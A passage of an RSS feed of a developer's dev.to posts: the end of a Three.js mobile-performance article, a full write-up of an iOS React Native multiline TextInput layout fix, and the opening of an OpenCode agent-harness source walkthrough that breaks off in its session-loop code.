&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// the expensive defaults&lt;/span&gt;
&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;THREE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;WebGLRenderer&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;antialias&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setPixelRatio&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;devicePixelRatio&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// often 3 on phones&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two settings, so let me take them one at a time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The first is &lt;code&gt;antialias&lt;/code&gt;.&lt;/strong&gt; Antialiasing is edge-smoothing: it stops a diagonal line from looking like a staircase of pixels by blending the colors along the edge. Turning it on makes Three.js use MSAA, which stands for multisample antialiasing. Normally the GPU decides a pixel's color from a single sample; with MSAA it takes several samples per pixel and averages them. Smoother edges, but that's literally several times the shading work on every pixel you draw. On a phone you can barely see the difference. You can absolutely feel the heat.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The second is &lt;code&gt;setPixelRatio&lt;/code&gt;,&lt;/strong&gt; and this one is sneakier. &lt;code&gt;devicePixelRatio&lt;/code&gt; is how many physical screen pixels your phone packs into one CSS pixel, the unit your layout code measures in. On a modern phone it's 2 or 3. So a canvas that's "390 CSS pixels" wide is really painting up to about 1170 physical pixels across, and the GPU fills every one. And since the canvas scales in both width and height, going from a ratio of 1.5 to 3 doesn't double the work, it roughly quadruples it.&lt;/p&gt;

&lt;p&gt;Drag both of these around and watch the cost run away from you:&lt;/p&gt;

&lt;p&gt;Here's the thing though: these games run inside a WebView, the embedded browser that a native app uses to show web content. On a small phone screen inside a WebView you almost never need full antialiasing or a pixel ratio of 3. So the fix is to detect that case and dial both back. It roughly halves the GPU load for a result nobody can tell apart:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;lowPower&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;isWebView&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;isMobile&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;THREE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;WebGLRenderer&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;antialias&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;lowPower&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setPixelRatio&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;devicePixelRatio&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;lowPower&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="mf"&gt;1.5&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Two more leaks worth closing
&lt;/h2&gt;

&lt;p&gt;While I was in there, two smaller things were heating up the games that &lt;em&gt;did&lt;/em&gt; animate:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Nothing paused when the app went to the background.&lt;/strong&gt; Browsers fire a &lt;code&gt;visibilitychange&lt;/code&gt; event when your tab or app is hidden or comes back. None of the games listened for it, so the loop kept spinning even after you switched apps. The fix: cancel the animation frame when hidden, resume when visible. Put it in one shared helper, every scene needs it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Per-frame allocations.&lt;/strong&gt; One game built a &lt;code&gt;new THREE.Color()&lt;/code&gt; every single frame during an animation, another rebuilt image textures mid-countdown. Allocating inside a 60fps loop churns the garbage collector, and on mobile its pauses show up as both stutter and extra heat. Make those objects once, reuse them.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The takeaway
&lt;/h2&gt;

&lt;p&gt;When a "simple" WebGL or Three.js scene cooks a phone, do not reach for a lighter framework first. Check the loop. The default &lt;code&gt;requestAnimationFrame&lt;/code&gt; pattern renders unconditionally, and an unchanging frame is not a cheap frame. Render only when something changed, cap your pixel ratio and antialiasing on constrained devices, and pause when you're hidden. The framework was never the thing burning your battery.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Dheeraj, a software engineer at Nutanix Enterprise AI working on agent&lt;br&gt;
harnesses and developer tools. I write up the problems that took me too long to&lt;br&gt;
work out. More at &lt;a href="https://dheerajakula.dev/blog" rel="noopener noreferrer"&gt;dheerajakula.dev/blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>threejs</category>
      <category>webgl</category>
      <category>performance</category>
      <category>mobile</category>
    </item>
    <item>
      <title>Why programmatic inserts don't wrap on iOS multiline TextInput, and the one-line native fix</title>
      <dc:creator>Dheeraj Akula</dc:creator>
      <pubDate>Sun, 16 Aug 2026 19:43:26 +0000</pubDate>
      <link>https://dev.to/dheerajakula/why-programmatic-inserts-dont-wrap-on-ios-multiline-textinput-and-the-one-line-native-fix-3di1</link>
      <guid>https://dev.to/dheerajakula/why-programmatic-inserts-dont-wrap-on-ios-multiline-textinput-and-the-one-line-native-fix-3di1</guid>
      <description>&lt;p&gt;Ran into this last week on a multiline &lt;code&gt;TextInput&lt;/code&gt; and lost a chunk of a day to it. Writing it up in case someone else hits the same thing.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug
&lt;/h2&gt;

&lt;p&gt;I've got a multiline &lt;code&gt;TextInput&lt;/code&gt; hooked up with &lt;a href="https://github.com/dabakovich/react-native-controlled-mentions" rel="noopener noreferrer"&gt;&lt;code&gt;react-native-controlled-mentions&lt;/code&gt;&lt;/a&gt; and a suggestions dropdown above it. You type a trigger character like @ to pick a suggestion from a dropdown, and the library inserts a styled name into the text box. Short insertions are fine but once the text is long enough that the inserted mention pushes the line past the right edge, and the input stops resizing on iOS.&lt;/p&gt;

&lt;p&gt;The text is still there. Selection works, select-all grabs everything, the cursor sits where you'd expect. But the wrapped line renders outside the input's gets clipped entirely. The container is still sized for one line even though there's two lines of text in it.&lt;/p&gt;

&lt;p&gt;As soon as the user types anything, even a space, the input resizes and the second line shows up correctly. So it's not a persistent broken state, just a gap between the programmatic insert and the next keystroke.&lt;/p&gt;

&lt;h2&gt;
  
  
  The folklore fix
&lt;/h2&gt;

&lt;p&gt;Search "multiline TextInput not wrapping iOS" and you land on &lt;a href="https://github.com/facebook/react-native/issues/5213" rel="noopener noreferrer"&gt;facebook/react-native#5213&lt;/a&gt;, filed and closed in 2016 and linked from every Stack Overflow answer on the topic. The accepted workarounds: remount with a &lt;code&gt;key&lt;/code&gt; prop, toggle &lt;code&gt;scrollEnabled&lt;/code&gt;, add &lt;code&gt;alignSelf: 'flex-start'&lt;/code&gt;, or &lt;code&gt;blur()&lt;/code&gt; then &lt;code&gt;focus()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I reached for the key remount. It worked. But every time a mention wrapped to a new line, the keyboard dismissed for a frame and re-appeared. A visible flicker that got worse under &lt;code&gt;LayoutAnimation&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Tearing down a native &lt;code&gt;UITextView&lt;/code&gt; and rebuilding it inside the same commit is never free. There is a one-frame window where neither the old nor the new view is focused. iOS notices and starts the keyboard-dismissal animation. By the time the new input mounts, the keyboard is halfway down. That is your flicker.&lt;/p&gt;

&lt;p&gt;So I went looking for the actual root cause.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reading the library
&lt;/h2&gt;

&lt;p&gt;I was using &lt;a href="https://github.com/dabakovich/react-native-controlled-mentions" rel="noopener noreferrer"&gt;&lt;code&gt;react-native-controlled-mentions&lt;/code&gt;&lt;/a&gt;. Opened its source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// node_modules/react-native-controlled-mentions/dist/hooks/use-mentions.js&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;textInputProps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;onChangeText&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;handleTextChange&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;children&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;mentionState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;...,&lt;/span&gt; &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;)),&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The library does not drive the &lt;code&gt;TextInput&lt;/code&gt; via the &lt;code&gt;value&lt;/code&gt; prop. It passes &lt;strong&gt;children&lt;/strong&gt;: a tree of styled &lt;code&gt;&amp;lt;Text&amp;gt;&lt;/code&gt; spans. When you pick a mention, the tree rebuilds and the &lt;code&gt;TextInput&lt;/code&gt; receives new children on the next render. This detail is invisible from the library's public API, and it is the one that matters.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the 2016 fix doesn't apply
&lt;/h2&gt;

&lt;p&gt;The accepted fix for #5213 added one line to the &lt;code&gt;value&lt;/code&gt;-prop setter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight objective_c"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;setText&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSString&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;text&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;_textView&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;updateContentSize&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// &amp;lt;-- the 2016 fix&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The library never passes &lt;code&gt;value&lt;/code&gt;, so &lt;code&gt;setText:&lt;/code&gt; never runs. And the file this patch lives in (&lt;code&gt;RCTTextView.m&lt;/code&gt;) is Paper-era; my project is on Fabric.&lt;/p&gt;

&lt;p&gt;On Fabric, a children update flows through &lt;code&gt;_setAttributedString:&lt;/code&gt; → &lt;code&gt;setAttributedText:&lt;/code&gt; → &lt;code&gt;textDidChange&lt;/code&gt;. I pulled the 0.76-stable source to check, and the whole chain looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight objective_c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// RCTUITextView.mm&lt;/span&gt;
&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;setAttributedText&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSAttributedString&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;attributedText&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt; &lt;span class="nf"&gt;setAttributedText&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;attributedText&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;textDidChange&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;textDidChange&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;_textWasPasted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;_invalidatePlaceholderVisibility&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No &lt;code&gt;invalidateIntrinsicContentSize&lt;/code&gt;. No &lt;code&gt;setNeedsLayout&lt;/code&gt;. The attributed string updates, the glyphs are correct, but nothing tells the view its size may have changed. The wrap is computed; the frame it needs does not exist.&lt;/p&gt;

&lt;p&gt;On a keystroke this does not matter: UIKit's own typing handlers trigger layout internally. On a programmatic children swap, nothing does.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I actually needed
&lt;/h2&gt;

&lt;p&gt;The diagnosis reframes the problem. It is not "the text didn't update"; the text did update. It is "the view did not re-run &lt;code&gt;layoutSubviews&lt;/code&gt;." That is a strictly smaller problem, and it has a strictly smaller fix.&lt;/p&gt;

&lt;p&gt;On iOS, any event that forces &lt;code&gt;UITextView&lt;/code&gt; to resolve glyph positions triggers a layout pass. Setting the selection range is one such event: the text view needs to know where the caret sits in glyph coordinates, which means it has to walk the layout manager.&lt;/p&gt;

&lt;p&gt;React Native exposes &lt;code&gt;selection&lt;/code&gt; as a writable prop, and &lt;code&gt;setNativeProps&lt;/code&gt; lets you push it through without a React re-render:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;mentionStateRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useRef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mentionState&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;mentionStateRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;mentionState&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// in the dropdown onPress:&lt;/span&gt;
&lt;span class="nx"&gt;triggers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;onSelect&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;g&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;g&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nf"&gt;requestAnimationFrame&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;end&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;mentionStateRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;plainText&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;inputRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;setNativeProps&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;selection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;start&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;end&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;end&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;requestAnimationFrame&lt;/code&gt; waits for React to commit the children update. &lt;code&gt;setNativeProps&lt;/code&gt; then nudges the native view to re-resolve glyph positions, which runs &lt;code&gt;layoutSubviews&lt;/code&gt;, which recomputes intrinsic content size, which grows the container, which makes the wrapped line visible.&lt;/p&gt;

&lt;p&gt;The caret position I write (&lt;code&gt;plainText.length&lt;/code&gt;) is where the mentions library wants the cursor after an insert, so from the user's perspective nothing visible happens, except that the clipping is gone.&lt;/p&gt;

&lt;p&gt;No remount. No focus loss. No keyboard flicker. One native round-trip.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Dheeraj, a software engineer at Nutanix Enterprise AI working on agent&lt;br&gt;
harnesses and developer tools. I write up the problems that took me too long to&lt;br&gt;
work out. More at &lt;a href="https://dheerajakula.dev/blog" rel="noopener noreferrer"&gt;dheerajakula.dev/blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>reactnative</category>
      <category>ios</category>
      <category>debugging</category>
    </item>
    <item>
      <title>OpenCode source code deep dive: how an open source agent harness really works</title>
      <dc:creator>Dheeraj Akula</dc:creator>
      <pubDate>Sun, 16 Aug 2026 19:43:22 +0000</pubDate>
      <link>https://dev.to/dheerajakula/opencode-source-code-deep-dive-how-an-open-source-agent-harness-really-works-4o6j</link>
      <guid>https://dev.to/dheerajakula/opencode-source-code-deep-dive-how-an-open-source-agent-harness-really-works-4o6j</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fharness-architecture.svg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fharness-architecture.svg" title="The request path through the harness. Every section of this post is one box on this diagram." alt="A diagram of the OpenCode harness. Your message enters the session loop in session/prompt.ts, which consults the context manager and the agent definitions, assembles a request from the nine system prompts and the seventeen-tool registry, calls the model, runs a tool call past the permission system with the snapshot system standing by, and loops again." width="1480" height="880"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Strip the model out of a coding agent and most of the product is still there. What remains is the harness: the code that decides what the model sees, what it can touch, and what happens when it gets something wrong. I wrote a &lt;a href="https://dheerajakula.dev/blog/what-is-an-agent-harness-claude-code-codex-opencode" rel="noopener noreferrer"&gt;companion post on what an agent harness is&lt;/a&gt; that covers the idea from the outside. This post opens one up.&lt;/p&gt;

&lt;p&gt;OpenCode is the right harness to open. It's MIT licensed, it's TypeScript, and every decision it makes is a file you can read.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fopencode-logo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fopencode-logo.png" title="OpenCode, at version 1.18.15 as I write this." alt="The OpenCode wordmark on a dark background, with the tagline " width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Two small things before the rest. It's on version 1.18.15 as I write this, so some of what follows will have moved. And the repo now lives at &lt;a href="https://github.com/anomalyco/opencode" rel="noopener noreferrer"&gt;anomalyco/opencode&lt;/a&gt;, though the old &lt;code&gt;sst/opencode&lt;/code&gt; URL still redirects. Dax &lt;a href="https://x.com/thdxr/status/2007199285251842478" rel="noopener noreferrer"&gt;explained on X&lt;/a&gt; that Anomaly was always the company name and they finally started using it in public.&lt;/p&gt;

&lt;p&gt;Seen from the outside, a harness is six things: a loop, a set of instructions, a tool surface, a permission system, a context policy, and a recovery story. This post takes one harness and walks those parts in the order your request actually flows through them. Your message enters the session loop. The loop picks a system prompt and a tool list based on which model you loaded. The tools ask permission before touching anything. Modes and subagents turn out to be permission rulesets with prompts attached. The context manager decides what survives to the next turn. And a snapshot system stands by to undo the damage. The post covers each of those in turn, closing with two sections on where the project is heading. Every section names the subsystem and the files that implement it, so you can follow along in the repo.&lt;/p&gt;

&lt;h2&gt;
  
  
  The session loop: what the &lt;code&gt;while (true)&lt;/code&gt; actually does
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fsession-loop-scheduler.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fopencode%2Fsession-loop-scheduler.jpg" title="The session loop works through a queue one pass at a time, and new work can be dropped in mid-cycle." alt="An antique engraved plate of a machine shop station. A spike holds a thick stack of paper work tickets, a mechanical arm lifts exactly one ticket off the top and feeds it into an iron machine, and a leather drive belt loops from the machine back round a flywheel to the spindle. A side chute lets a fresh ticket be dropped onto the spike mid-cycle." width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ask anyone what an agentic loop is and you'll get the same answer: a &lt;code&gt;while (true)&lt;/code&gt; that calls the model, runs any tool it asks for, and breaks when there are no tool calls left. OpenCode really does have that &lt;code&gt;while (true)&lt;/code&gt;, in &lt;code&gt;session/prompt.ts&lt;/code&gt;. It's just that calling the model turns out to be the smallest part of what each pass does.&lt;/p&gt;

&lt;p&gt;A pass starts by reloading the conversation from SQLite and checking for queued work:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;lastUser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;finished&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;lastFinished&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;tasks&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;MessageV2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;latest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msgs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
